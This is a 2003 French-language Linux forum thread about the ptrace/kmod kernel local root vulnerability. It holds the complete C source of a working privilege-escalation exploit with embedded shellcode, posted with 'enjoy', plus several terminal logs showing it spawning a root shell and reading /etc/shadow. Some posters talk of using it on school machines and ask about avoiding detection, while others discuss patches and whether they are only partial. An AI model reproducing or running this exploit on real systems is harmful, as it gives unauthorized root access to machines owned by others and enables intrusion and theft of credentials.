Faille de secu sur tous les kernels linux.

Faille de secu sur tous les kernels linux. - Codes et scripts - Linux et OS Alternatifs

Marsh Posté le 19-03-2003 à 10:38:59    

Tous les kernels sont en cause.
L'exploit permet d'obtenir un acces root a une machine a partir d'un simple compte user :
 
 

[09:13][yom@rocky][~] gcc -o ptrace ptrace-kmod.c  
[09:14][yom@rocky][~] ./ptrace  
[+] Attached to 874
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4000da2d
[+] Now wait for suid shell...
sh-2.05a# cat /etc/shadow
root:XXXXXXXXXXXXXXXXXXXX:12113:0:99999:7:::


 
Je ne peux pas poster le patch sur un serveur web depuis le boulot, donc si qqun peut me filer son e-mail, je le lui enverrai afin qu'il le poste quelque part.

Reply

Marsh Posté le 19-03-2003 à 10:38:59   

Reply

Marsh Posté le 19-03-2003 à 10:44:48    

YupYup a écrit :

Tous les kernels sont en cause.
L'exploit permet d'obtenir un acces root a une machine a partir d'un simple compte user :
 
 

[09:13][yom@rocky][~] gcc -o ptrace ptrace-kmod.c  
[09:14][yom@rocky][~] ./ptrace  
[+] Attached to 874
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4000da2d
[+] Now wait for suid shell...
sh-2.05a# cat /etc/shadow
root:XXXXXXXXXXXXXXXXXXXX:12113:0:99999:7:::


 
 
Je ne peux pas poster le patch sur un serveur web depuis le boulot, donc si qqun peut me filer son e-mail, je le lui enverrai afin qu'il le poste quelque part.

Dur dur  :(  
 
Mais est-ce que quelqu'un de l'extérieur peut faire ce truc là s'il n'a pas de compte user ? Ex : je suis sur le net en étant connecté sous mon user, est-ce que qqun peut lancer cette commande à mon insu ?

Reply

Marsh Posté le 19-03-2003 à 10:46:42    

Pas forcement : il suffit de pouvoir placer le code compile sur une machine et de l'executer. Tu as ensuite les droits root.

Reply

Marsh Posté le 19-03-2003 à 10:54:15    

Deja poste ici (mais c'est bien de le rappeler)
http://forum.hardware.fr/forum2.ph [...] h=&subcat=
 
Apparemment, c'est une vulnerabilite locale seulement.
 
Les distros recentes : Slackware 9.0, Mandrake 9.1 sont deja patchees, et on peut s'attendre a des updates pour toutes les autres.

Reply

Marsh Posté le 19-03-2003 à 10:54:29    

voir :
http://forum.hardware.fr/forum2.ph [...] h=&subcat=
 
edit : put*** encore grilled  :D


Message édité par nikosaka le 19-03-2003 à 10:55:29
Reply

Marsh Posté le 19-03-2003 à 10:56:15    


 
14 secondes :D

Reply

Marsh Posté le 19-03-2003 à 11:24:21    

zeb_ a écrit :


Les distros recentes : Slackware 9.0, Mandrake 9.1 sont deja patchees, et on peut s'attendre a des updates pour toutes les autres.


 
la red hat 7.3 (et surement la 8.0) est patchée aussi (kernel 2.4.18-27)


---------------
Self Destruction Might Be The Answer - http://www.kazekami.org
Reply

Marsh Posté le 19-03-2003 à 18:30:04    

source du ptrace-kmod.c stp ?????????? :D

Reply

Marsh Posté le 19-03-2003 à 18:40:59    

Code :
  1. /*
  2. * Linux kernel ptrace/kmod local root exploit
  3. *
  4. * This code exploits a race condition in kernel/kmod.c, which creates
  5. * kernel thread in insecure manner. This bug allows to ptrace cloned
  6. * process, allowing to take control over privileged modprobe binary.
  7. *
  8. * Should work under all current 2.2.x and 2.4.x kernels.
  9. *  
  10. * I discovered this stupid bug independently on January 25, 2003, that
  11. * is (almost) two month before it was fixed and published by Red Hat
  12. * and others.
  13. *  
  14. * Wojciech Purczynski <cliph@isec.pl>
  15. *
  16. * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
  17. * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
  18. *  
  19. * (c) 2003 Copyright by iSEC Security Research
  20. */
  21. #include <grp.h>
  22. #include <stdio.h>
  23. #include <fcntl.h>
  24. #include <errno.h>
  25. #include <paths.h>
  26. #include <string.h>
  27. #include <stdlib.h>
  28. #include <signal.h>
  29. #include <unistd.h>
  30. #include <sys/wait.h>
  31. #include <sys/stat.h>
  32. #include <sys/param.h>
  33. #include <sys/types.h>
  34. #include <sys/ptrace.h>
  35. #include <sys/socket.h>
  36. #include <linux/user.h>
  37. char cliphcode[] =
  38. "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
  39. "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
  40. "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
  41. "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
  42. "\x40\xcd\x80\xe8\xdc\xff\xff\xff";
  43. #define CODE_SIZE (sizeof(cliphcode) - 1)
  44. pid_t parent = 1;
  45. pid_t child = 1;
  46. pid_t victim = 1;
  47. volatile int gotchild = 0;
  48. void fatal(char * msg)
  49. {
  50. perror(msg);
  51. kill(parent, SIGKILL);
  52. kill(child, SIGKILL);
  53. kill(victim, SIGKILL);
  54. }
  55. void putcode(unsigned long * dst)
  56. {
  57. char buf[MAXPATHLEN + CODE_SIZE];
  58. unsigned long * src;
  59. int i, len;
  60. memcpy(buf, cliphcode, CODE_SIZE);
  61. len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
  62. if (len == -1)
  63.  fatal("[-] Unable to read /proc/self/exe" );
  64. len += CODE_SIZE + 1;
  65. buf[len] = '\0';
  66. src = (unsigned long*) buf;
  67. for (i = 0; i < len; i += 4)
  68.  if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
  69.   fatal("[-] Unable to write shellcode" );
  70. }
  71. void sigchld(int signo)
  72. {
  73. struct user_regs_struct regs;
  74. if (gotchild++ == 0)
  75.  return;
  76. fprintf(stderr, "[+] Signal caught\n" );
  77. if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
  78.  fatal("[-] Unable to read registers" );
  79. fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
  80. putcode((unsigned long *)regs.eip);
  81. fprintf(stderr, "[+] Now wait for suid shell...\n" );
  82. if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
  83.  fatal("[-] Unable to detach from victim" );
  84. exit(0);
  85. }
  86. void sigalrm(int signo)
  87. {
  88. errno = ECANCELED;
  89. fatal("[-] Fatal error" );
  90. }
  91. void do_child(void)
  92. {
  93. int err;
  94. child = getpid();
  95. victim = child + 1;
  96. signal(SIGCHLD, sigchld);
  97. do
  98.  err = ptrace(PTRACE_ATTACH, victim, 0, 0);
  99. while (err == -1 && errno == ESRCH);
  100. if (err == -1)
  101.  fatal("[-] Unable to attach" );
  102. fprintf(stderr, "[+] Attached to %d\n", victim);
  103. while (!gotchild) ;
  104. if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
  105.  fatal("[-] Unable to setup syscall trace" );
  106. fprintf(stderr, "[+] Waiting for signal\n" );
  107. for(;;);
  108. }
  109. void do_parent(char * progname)
  110. {
  111. struct stat st;
  112. int err;
  113. errno = 0;
  114. socket(AF_SECURITY, SOCK_STREAM, 1);
  115. do {
  116.  err = stat(progname, &st);
  117. } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
  118. if (err == -1)
  119.  fatal("[-] Unable to stat myself" );
  120. alarm(0);
  121. system(progname);
  122. }
  123. void prepare(void)
  124. {
  125. if (geteuid() == 0) {
  126.  initgroups("root", 0);
  127.  setgid(0);
  128.  setuid(0);
  129.  execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
  130.  fatal("[-] Unable to spawn shell" );
  131. }
  132. }
  133. int main(int argc, char ** argv)
  134. {
  135. prepare();
  136. signal(SIGALRM, sigalrm);
  137. alarm(10);
  138. parent = getpid();
  139. child = fork();
  140. victim = child + 1;
  141. if (child == -1)
  142.  fatal("[-] Unable to fork" );
  143. if (child == 0)
  144.  do_child();
  145. else
  146.  do_parent(argv[0]);
  147. return 0;
  148. }

 
 
 
enjoy  :whistle:

Reply

Marsh Posté le 19-03-2003 à 18:43:23    

localhost a écrit :

[cpp]
 
enjoy  :whistle:  


 
Argh, efface !
 
Et si des gamins essayaient de pirater le réseau de leur lycée/fac avec ça ?  [:alph-one]

Reply

Marsh Posté le 19-03-2003 à 18:43:23   

Reply

Marsh Posté le 19-03-2003 à 18:45:26    

N'empêche que "I discovered this stupid bug independently on January 25, 2003, that is (almost) two month before it was fixed and published by Red Hat and others"...
 
hum ...  :o ...

Reply

Marsh Posté le 19-03-2003 à 18:46:23    

cmotsch a écrit :


 
Argh, efface !
 
Et si des gamins essayaient de pirater le réseau de leur lycée/fac avec ça ?  [:alph-one]  


 
Bah, cai bien nan ? [:dawa]

Reply

Marsh Posté le 19-03-2003 à 19:16:49    

excellent je voulais un acces root pour compiler des softs a mon iut \o/

Reply

Marsh Posté le 19-03-2003 à 19:24:07    

localhost : tout à fait. Pas de rétention de savoir.
 
CHaiCA

Reply

Marsh Posté le 19-03-2003 à 20:10:18    

Sinon c assez desatreux cette exploit est sorti depuis 25 janvier et le seul patch qu on trouve c un truc pourri qui patch meme pas sur les kernel !!
 
 
la franchement micorosoft doit bien se foutre des dev de linux et de leur communauté !

Reply

Marsh Posté le 19-03-2003 à 20:41:34    

'taint c'est ENORME comme faille ca !

Reply

Marsh Posté le 19-03-2003 à 20:47:06    

patching recompilos la \o/

Reply

Marsh Posté le 19-03-2003 à 20:58:06    

j'arrive pas à compiler  
ptrace.c: In function `sigchld':
ptrace.c:179: parse error before character 0256
 
 
l179 : if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
 
:p :p
 
 
Sinon pour le patch du kernel, g dl sur kernel.org le 2.4.20 (g supprimé celui que javais .. :/) et ait fait un copier collé d'un truc que g trouvé sur linuxfr mais ça marche pas.
 
J'ai pleins de :
Hunk #1 FAILED at 362.
Hunk #2 FAILED at 486.
Hunk #3 FAILED at 851.
3 out of 3 hunks FAILED -- saving rejects to file include/linux/sched.h.rej
patching file kernel/fork.c
Hunk #1 FAILED at 28.
Hunk #2 FAILED at 576.
2 out of 2 hunks FAILED -- saving rejects to file kernel/fork.c.rej
patching file kernel/ptrace.c
Hunk #1 FAILED at 21.
Hunk #2 FAILED at 61.
 
 
par exemple ...
Qqn peut me passer son .diff (soit web soit jeanb@jeanb-net.com ) ?

Reply

Marsh Posté le 19-03-2003 à 20:59:41    

Je@nb a écrit :

j'arrive pas à compiler  
ptrace.c: In function `sigchld':
ptrace.c:179: parse error before character 0256
 
 
l179 : if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
 
:p :p
 
 
Sinon pour le patch du kernel, g dl sur kernel.org le 2.4.20 (g supprimé celui que javais .. :/) et ait fait un copier collé d'un truc que g trouvé sur linuxfr mais ça marche pas.
 
J'ai pleins de :
Hunk #1 FAILED at 362.
Hunk #2 FAILED at 486.
Hunk #3 FAILED at 851.
3 out of 3 hunks FAILED -- saving rejects to file include/linux/sched.h.rej
patching file kernel/fork.c
Hunk #1 FAILED at 28.
Hunk #2 FAILED at 576.
2 out of 2 hunks FAILED -- saving rejects to file kernel/fork.c.rej
patching file kernel/ptrace.c
Hunk #1 FAILED at 21.
Hunk #2 FAILED at 61.
 
 
par exemple ...
Qqn peut me passer son .diff (soit web soit jeanb@jeanb-net.com ) ?


 
oui y a un bug joce c'est le & accolé a regs (appelle de l adresse de reg)  et non signetrademark(s)


Message édité par asphro le 19-03-2003 à 21:02:22
Reply

Marsh Posté le 19-03-2003 à 21:02:24    

:(  c koi la différence ????
Je vois toujours le registred et le s

Reply

Marsh Posté le 19-03-2003 à 21:02:55    

c edité

Reply

Marsh Posté le 19-03-2003 à 21:03:37    

je viens de voir ;)

Reply

Marsh Posté le 19-03-2003 à 21:28:41    

ouais, j'aime bien le "trou de sécurité".
 
Ce qu'il faut retenir de ça, c'est que linux devient un OS majeur dans l'industrie, et il va bien falloir lui trouver des défauts..
 
N'empêche que (sans faire de blablah...) depuis que j'ai changé cette daube de IIS/Access contre une version Linux/Apache/MySQL au boulot, ben le serveur tourne BEAUCOUP mieux (d'un point de vue OS, il est nettement plus rapide) et il s'est fait oublié...
Il y a certainement quelques trucs améliorables (sécurité mais c'est sur un LAN isolé donc pas grave) mais c'est vachement moins relou à gérer, puisqu'il n'y a presque rien à faire!
 
Je suis pressé de voir ce que ça va donner dans 15 ans tout ça, s'ils n'ont pas fait de Linux un Windows bis.
 


---------------
"Je suis si intelligent que mon cerveau est mon deuxième organe favori".
Reply

Marsh Posté le 19-03-2003 à 21:34:37    

et tout cas, le source donné plus haut fonctionne ;)
 
et moins il y aura de failles mieux ce sera.  :o


---------------
Le droit à la différence s'arrête là où ça commence à m'emmerder sérieusement.
Reply

Marsh Posté le 19-03-2003 à 21:48:05    

le patch n est que partiel !
 
 
je m explique
 
en faisant un ptit teste
 
1) reutilisation du binaire compiler avec kernel non patché sur le meme user avec avec kernel patché
 
 - sous le meme user meme groupe, pas de probleme passage en root \o/
 - sous un user different, il foire pas de passage root
 
 2) compilation du source sous une autre machine non patcher
     et utilisation sous une mahine patché
 
 - si votre user a les meme iud et gid, le patch marchera sur la machine patcher sans probléme
 - sinon non
   
 
====================
 
teste realisé avec 2 users
prout et asphro
 
-ayant des iud et gid different mais identique pour chauqe user sur chaque machine (centralisation des comptes)
 
donc voila patch partiel, j aimerai avoir confirmation \o/
 
 

Reply

Marsh Posté le 19-03-2003 à 21:49:47    

pour ce qui est de tester je vais finalement quand même pas prendre le risque de me faire griller et bannir a vie voir exclure, enfin en ce qui me concerne....
 
test local only
 

Code :
  1. farib@alizee:~$ ls /root
  2. /bin/ls: /root: Permission denied
  3. farib@alizee:~$ gcc faille.c -o faille
  4. farib@alizee:~$ ./faille
  5. [+] Attached to 21621
  6. [+] Signal caught
  7. [+] Shellcode placed at 0x4000e132
  8. [+] Now wait for suid shell...
  9. sh-2.05a# ls /root
  10. e2fsprogs-1.32         eggdrop  loadlin16c.txt  smb.conf
  11. e2fsprogs-1.32.tar.gz  ing      loadlin16c.zip
  12. sh-2.05a# exit
  13. farib@alizee:~$


Message édité par farib le 20-03-2003 à 00:52:05

---------------
Bitcoin, Magical Thinking, and Political Ideology
Reply

Marsh Posté le 19-03-2003 à 22:12:27    

pratik en cas de perte de mot de passe root ;)

Reply

Marsh Posté le 19-03-2003 à 22:14:42    

AsPHrO a écrit :

le patch n est que partiel !
 
 
je m explique
 
en faisant un ptit teste
 
1) reutilisation du binaire compiler avec kernel non patché sur le meme user avec avec kernel patché
 
 - sous le meme user meme groupe, pas de probleme passage en root \o/
 - sous un user different, il foire pas de passage root
 
 2) compilation du source sous une autre machine non patcher
     et utilisation sous une mahine patché
 
 - si votre user a les meme iud et gid, le patch marchera sur la machine patcher sans probléme
 - sinon non
   
 
====================
 
teste realisé avec 2 users
prout et asphro
 
-ayant des iud et gid different mais identique pour chauqe user sur chaque machine (centralisation des comptes)
 
donc voila patch partiel, j aimerai avoir confirmation \o/
 
 
 


 
 
rectification
 
enfait on peut le compiler sur machine patcher ou pas peut d importance !
 
il suffit de le lancer au moins 1 fois sur une machine non patcher avec le même uid et gid que la machine patché
 
ensuite ca marche sur la machine patché \o/
 

Reply

Marsh Posté le 19-03-2003 à 22:16:32    

marche pas sur un kernel 2.4.20 patché pour la faille ptrace et aussi avec grsecurity.
j'ai une erreur: blabla error 123

Reply

Marsh Posté le 19-03-2003 à 22:18:45    

farib a écrit :

on peut se faire griller si on tente d'utiliser discrètement la faille ?


 
Nan nan, c'est invisible [:kiki]

Reply

Marsh Posté le 19-03-2003 à 22:19:28    

nikosaka a écrit :

marche pas sur un kernel 2.4.20 patché pour la faille ptrace et aussi avec grsecurity.
j'ai une erreur: blabla error 123


 
moi ca passe !!
 
avec grsecurity
 
 
exemple de mon expli au dessus
 
minautore est la machine non patché
tropic machine patché
 
partition nfs pour home qui se trouve sur tropic

login as: asphro
Sent username "asphro"
asphro@tropic.synoptick.com's password:
Last login: Wed Mar 19 22:05:15 2003
prout
asphro@tropic asphro $ rm ptrace
rm: remove write-protected regular file `ptrace'? y
asphro@tropic asphro $ gcc ptrace.c -o ptrace
asphro@tropic asphro $ ./ptrace
[-] Unable to attach: Operation not permitted
Killed
asphro@tropic asphro $ ssh minautore
ssh: connect to host minautore port 22: Connection refused
asphro@tropic asphro $ ssh minautore
asphro@minautore's password:
Last login: Wed Mar 19 23:11:56 2003
asphro@minautore asphro $ gcc ptrace.c -o ptrace
ptrace           ptrace.c         ptrace12
ptrace-de-prout  ptrace.c~
asphro@minautore asphro $ gcc ptrace.c -o ptrace
asphro@minautore asphro $ exit
logout
Connection to minautore closed.
asphro@tropic asphro $ ./ptrace
[-] Unable to attach: Operation not permitted
Killed
asphro@tropic asphro $ ssh minautore
asphro@minautore's password:
Last login: Wed Mar 19 23:19:31 2003 from tropic.synoptick.com
asphro@minautore asphro $ ./ptrace
[+] Attached to 7317
[+] Signal caught
[+] Shellcode placed at 0x4100ee2d
[+] Now wait for suid shell...
sh-2.05b# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
sh-2.05b# exit
exit
asphro@minautore asphro $ id
uid=1005(asphro) gid=100(users) groups=100(users),10(wheel),18(audio),666(userstest)
asphro@minautore asphro $ ./ptrace
root@minautore asphro # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@minautore asphro # \o/
sh: o/: No such file or directory
root@minautore asphro # exit
exit
asphro@minautore asphro $ exit
logout
Connection to minautore closed.
asphro@tropic asphro $ ./ptrace
root@tropic asphro # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@tropic asphro #


Message édité par asphro le 19-03-2003 à 22:22:12
Reply

Marsh Posté le 19-03-2003 à 22:24:40    

moi ça passe pas  :D  
voilà mon patch : http://www.hardrock.org/kernel/2.4 [...] race.patch
 
par contre après l'éxécution de l'exploit j'ai un process ptrace qui reste

Reply

Marsh Posté le 19-03-2003 à 22:27:26    

nikosaka a écrit :

moi ça passe pas  :D  
voilà mon patch : http://www.hardrock.org/kernel/2.4 [...] race.patch
 
par contre après l'éxécution de l'exploit j'ai un process ptrace qui reste


 
ben je l ai eu la aussi
 
t as essaye avec 2 machines patche et pas patché ? ?

Reply

Marsh Posté le 19-03-2003 à 22:29:40    

nan j'ai qu'une machine qui est patchée.
Ce qui est zarb c'est que j'ai pas la même erreur que toi à l'éxécution de l'exploit.

Reply

Marsh Posté le 19-03-2003 à 22:32:09    

je vais réesayer avec ton patch
 
moi j ai prix le pourri du mail de alan cox !

Reply

Marsh Posté le 19-03-2003 à 22:36:00    

j'avais commencé aussi avec la daube de cox et il me renvoyait plein d'erreurs.
avec l'autre pas de problèmes.
ensuite le patch pour grsecurity n'as pas posé de pb, j'avais un peu peur du fait que certains fichiers patchés avec gresc l'étaient également dans le patch de rectif de ptrace.
mais bon apparement l'exploit ne fonctionne pas  :p


Message édité par nikosaka le 19-03-2003 à 22:36:40
Reply

Marsh Posté le 19-03-2003 à 22:40:04    

grsecurity de base ne fais rien contre l exploit j avais un 2.4.19 avant avec grsecurity activé

Reply

Marsh Posté le 19-03-2003 à 22:50:04    

citation de linuxfr.org
 

La faille est corrigée dans Linux 2.2.25 pour le noyau 2.2, et un patch est fourni par Alan Cox pour les noyaux 2.4. Les versions 2.0 et 2.5 ne sont pas vulnérables (de lapin).


 
 
en effet ca marche pas du tout sur le 2.5.x
 
 :lol:  :lol:  


asphro@minautore asphro $ uname -a
Linux minautore.synoptick.com 2.5.64 #2 Thu Mar 13 20:58:54 CET 2003 i686 Intel(R) Celeron(TM) CPU                1200MHz GenuineIntel GNU/Linux
asphro@minautore asphro $ ./ptrace
root@minautore asphro # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@minautore asphro #

Reply

Marsh Posté le 19-03-2003 à 23:01:38    

Bon asphro, t'arrêtes de t'exciter devant cet exploit ! :D

Reply

Marsh Posté le 19-03-2003 à 23:04:04    

ben je crois qu il faudrait avertir que leur patch il est bidon non  :sarcastic:

Reply

Marsh Posté le    

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed